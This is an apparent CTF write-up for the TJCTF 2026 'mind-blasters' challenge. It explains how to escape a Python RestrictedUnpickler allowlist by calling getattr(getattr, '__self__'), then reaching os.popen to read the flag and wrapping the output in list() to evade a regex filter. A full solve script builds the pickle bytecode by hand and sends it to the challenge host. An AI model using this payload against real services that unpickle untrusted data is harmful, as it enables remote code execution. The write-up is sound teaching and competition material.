mind-blasters
mind-blasters
Platform: Tjctf 2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-15 | Status: Solved Techniques: getattr_self_to_builtins_module, list_wrapping_to_bypass_regex_filter, object_graph_traversal_via_getattr, pickle_bytecode_crafting
Summary
Task: Python pickle deserialization server with RestrictedUnpickler using a strict allowlist of 14 builtins, plus regex output filter stripping flag pattern. Solution: getattr(getattr, 'self') returns the builtins module, enabling import → os.popen chain; list() wrapping bypasses the regex filter.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
TJCTF 2026| ID:20260515_tjctf_mind_blasters - Tags: rce, sandbox_escape, python, pickle, deserialization, regex_bypass, output_filter_bypass, restricted_unpickler, getattr_chain, allowlist_bypass
- Indicators: RestrictedUnpickler with allowlist (not blocklist) — only specific builtins permitted, getattr is in the allowed set — enables arbitrary attribute access at runtime, Output filtered with regex re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str), Server accepts base64-encoded pickle data and returns str(result), builtins-only module restriction in find_class
- Source:
20260515_tjctf_mind_blasters.md
Foothold
Vulnerability / Misconfiguration
- Getattr_self_to_builtins_module
- List_wrapping_to_bypass_regex_filter
- Object_graph_traversal_via_getattr
- Pickle_bytecode_crafting
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- getattr_self_to_builtins_module
- list_wrapping_to_bypass_regex_filter
- object_graph_traversal_via_getattr
- pickle_bytecode_crafting
- Tags: rce, sandbox_escape, python, pickle, deserialization, regex_bypass, output_filter_bypass, restricted_unpickler, getattr_chain, allowlist_bypass
Original Writeup
<details><summary>Click to expand original content</summary>Description
Rick's Mind Blows are now protected by a blacklist! You won't be able to hack this one!
Connection:
nc tjc.tf 31420Attachment:server.py
A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler with a strict allowlist of only 14 builtins. The deserialized result is converted to a string and returned, but any flag pattern matching tjctf{...} is redacted before output. The goal is to achieve RCE and exfiltrate the flag despite both restrictions.
Analysis
RestrictedUnpickler — Allowlist Model
Unlike the companion challenge "mind blowers" (which uses a blocklist), this challenge uses a strict allowlist. The find_class method only permits loading names from the builtins module that appear in the ALLOWED set:
ALLOWED = {
'type', 'getattr', 'len', 'range',
'str', 'int', 'bytes', 'list', 'dict',
'tuple', 'bool', 'set', 'frozenset', 'bytearray',
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == 'builtins' and name in ALLOWED:
return getattr(builtins, name)
raise pickle.UnpicklingError('not allowed')
This means:
- Only the
builtinsmodule is accessible — noos,subprocess,importlib, etc. - Only 14 specific names are allowed — no
eval,exec,__import__,open,license,help, etc. - Any attempt to load a non-allowed class via pickle's
GLOBAL/STACK_GLOBALopcodes raisesUnpicklingError
Output Filter
After deserialization, the server applies a regex to strip the flag:
result_str = re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str)
Even if we achieve RCE and read the flag file, the output will be redacted if it contains the continuous tjctf{...} pattern.
The Critical Vulnerability: getattr.__self__
The key insight is that getattr is in the allowed set. In CPython, built-in functions (builtin_function_or_method type) have a __self__ attribute that points to the module they belong to:
>>> getattr.__self__ <module 'builtins' (built-in)> >>> type(getattr.__self__) <class 'module'>
So getattr(getattr, '__self__') returns the entire builtins module object — not just the 14 allowed names, but everything including __import__. This works because:
getattris loaded viafind_class(passes the allowlist check)- The
REDUCEopcode callsgetattr(getattr, '__self__')at runtime - Runtime
getattrcalls do not go throughfind_class— they are normal Python attribute lookups - The returned
builtinsmodule gives unrestricted access to all builtins
This is fundamentally different from the "mind blowers" approach (which uses license.__class__.__init__.__globals__) because here license is not in the allowlist — we must bootstrap from getattr alone.
Output Filter Bypass: list() Wrapping
The regex tjctf\{[^}]*\} matches a continuous flag string. By wrapping the flag in list(), the str() representation becomes:
>>> str(list("tjctf{flag}"))
"['t', 'j', 'c', 't', 'f', '{', 'f', 'l', 'a', 'g', '}']"
This list representation never contains the continuous tjctf{...} pattern, so the regex doesn't match and the output is not redacted.
Solution
Exploit Chain
The full chain, expressed as nested Python calls:
Step 1: builtins_mod = getattr(getattr, '__self__') → builtins module
Step 2: imp = getattr(builtins_mod, '__import__') → __import__ function
Step 3: os_mod = imp('os') → os module
Step 4: popen_fn = getattr(os_mod, 'popen') → os.popen function
Step 5: popen_obj = popen_fn('cat /flag*') → popen file object
Step 6: read_fn = getattr(popen_obj, 'read') → read method
Step 7: flag_str = read_fn() → flag string
Step 8: result = list(flag_str) → list of chars (filter bypass)
Pickle Bytecode
The payload uses protocol 2 with manual bytecode construction. Key opcodes:
| Opcode | Name | Effect |
|---|---|---|
\x80\x02 | PROTO | Protocol 2 header |
c | GLOBAL | Load builtins.getattr or builtins.list via find_class |
p0 | PUT | Store top of stack in memo slot 0 |
g0 | GET | Push memo slot 0 onto stack |
( | MARK | Start of argument tuple |
V... | UNICODE | Push Unicode string |
t | TUPLE | Build tuple from mark |
R | REDUCE | Call callable with args tuple |
0 | POP | Discard top of stack |
. | STOP | End pickle stream |
Solve Script
#!/usr/bin/env python3
"""
Pickle exploit for mind-blasters (TJCTF 2026)
Restricted Unpickler allows only:
builtins: type, getattr, len, range, str, int, bytes, list, dict,
tuple, bool, set, frozenset, bytearray
Key chain: getattr(getattr, '__self__') → builtins module → __import__ → os → popen → flag
Output filter bypass: list(flag_string) breaks the continuous tjctf{...} pattern
"""
import pickle
import pickletools
import io
import base64
import socket
import ast
def build_payload(cmd='cat /flag*'):
"""Build pickle bytecode: list(os.popen(cmd).read())"""
p = b'\x80\x02' # Protocol 2
# memo[0] = getattr
p += b'cbuiltins\ngetattr\np0\n'
# memo[1] = getattr(getattr, '__self__') → builtins module
p += b'(g0\nV__self__\ntRp1\n0'
# memo[2] = getattr(builtins, '__import__') → __import__
p += b'g0\n(g1\nV__import__\ntRp2\n0'
# memo[3] = __import__('os') → os module
p += b'g2\n(Vos\ntRp3\n0'
# memo[4] = getattr(os, 'popen') → os.popen
p += b'g0\n(g3\nVpopen\ntRp4\n0'
# memo[5] = os.popen('cat /flag*') → file object
p += b'g4\n(V' + cmd.encode() + b'\ntRp5\n0'
# memo[6] = getattr(file_obj, 'read') → read method
p += b'g0\n(g5\nVread\ntRp6\n0'
# memo[7] = read() → flag string
p += b'g6\n(tRp7\n0'
# list(flag_string) → list of chars (bypasses regex filter)
p += b'cbuiltins\nlist\n(g7\ntR.'
return p
payload = build_payload()
encoded = base64.b64encode(payload)
# Disassemble for verification
print("=== Pickle Disassembly ===")
pickletools.dis(io.BytesIO(payload))
print()
# Connect and send
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect(('tjc.tf', 31420))
data = b''
while b'>' not in data:
data += sock.recv(4096)
sock.sendall(encoded + b'\n')
resp = b''
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
except socket.timeout:
break
sock.close()
result = resp.decode()
print(f'Response: {result}')
# Parse list of chars back to flag string
if 'Result:' in result:
list_str = result.split('Result: ', 1)[1].strip()
chars = ast.literal_eval(list_str)
flag = ''.join(chars)
print(f'\n[+] FLAG: {flag}')
Server Output
=== Rick's Mind Blaster ===
Maximum security. Nothing gets through.
Upload a mind blaster (base64 encoded) >
Result: ['t', 'j', 'c', 't', 'f', '{', 'p', '1', 'c', 'k', 'l', '3', '_', 'r', '1', 'c', 'k', '_', 'y', '0', 'u', '_', 's', '0', 'l', 'v', '3', 'd', '_', 'h', '1', 's', '_', 'c', 'h', 'A', '1', '1', '!', '}', '\n']
Reassembled: tjctf{REDACTED}
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR